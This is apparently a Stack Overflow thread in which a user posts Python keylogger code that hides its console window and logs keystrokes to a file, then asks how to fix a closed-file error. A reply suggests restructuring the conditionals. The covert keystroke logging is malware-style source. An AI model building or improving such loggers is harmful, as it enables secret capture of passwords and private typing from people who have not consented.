0

So I am trying to make a Keylogger (educational purposes only) and here my code

#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os


log_file = "d:\control.txt"                 #name of log file
window = win32console.GetConsoleWindow()  #go to script window
win32gui.ShowWindow(window,0)             #hide window

def pressed_chars(event):       #on key pressed function
    if event.Ascii:
        f = open(log_file,"a")  # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
        if char == "q":         # (if char is q)
            f.close()           # (close and save log file)
        if event.Ascii == 13:   # (if char is "return")
            f.write("\n")       # (new line)
        f.write(char)           # (write char)



proc = pyHook.HookManager()      #open pyHook
proc.KeyDown = pressed_chars     #set pressed_chars function on KeyDown event
proc.HookKeyboard()              #start the function
pythoncom.PumpMessages()    

after running the code I get a couple errors like this

Traceback (most recent call last):
  File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "C:\Python278\logger.pyw", line 22, in pressed_chars
    f.write(char)           # (write char)
ValueError: I/O operation on closed file

I made it so that whenever I pressed the Character 'Q' the program would end recording the keystrokes. But if I enter the following code: "exit()" between lines 19-20, the program works fine but exits before it can do anything else. I have been trying to solve it on my own, but I can't seem to get it to work the way I want it to. Any Ideas? Using Python 2.7.8 by the way.

Zover Lul
  • 1
  • 1
  • 2

1 Answers1

0

If the char is "q", you close the file. 'if char == "q": # (if char is q)'

Try to make a if .. elif .. else.

Btw, I prefere with open() (see more at: for line in open(filename))

Community
  • 1
  • 1
Thomas
  • 237
  • 4
  • 15
  • Just saw @Rawing said the same ting. As I'm new to Stackoverflow, what way is the "correct" to reply to the question? – Thomas Dec 20 '14 at 13:30
  • Posting an answer is of course a better way to answer a question than a comment. Unlike a comment, an answer can be accepted, and the question thus be marked as answered. You win this round :) – Aran-Fey Dec 20 '14 at 13:40
  • Ok.. :) I just want to follow the standard. I kind of liked your way of "Asking the right questions" to, so was i doubt. :) – Thomas Dec 20 '14 at 13:55